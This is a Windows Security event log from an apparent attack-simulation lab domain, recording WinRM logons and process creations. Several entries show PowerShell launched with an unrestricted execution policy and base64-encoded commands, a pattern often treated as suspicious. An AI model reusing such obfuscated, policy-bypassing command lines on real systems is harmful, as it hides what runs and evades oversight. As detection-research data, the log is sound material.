	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246221
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D53F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246220
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D53F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246219
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246218
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246217
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246216
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb30
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246215
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D373

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246214
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D373
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246213
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246212
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246211
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb30
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246210
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246209
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246208
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246207
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

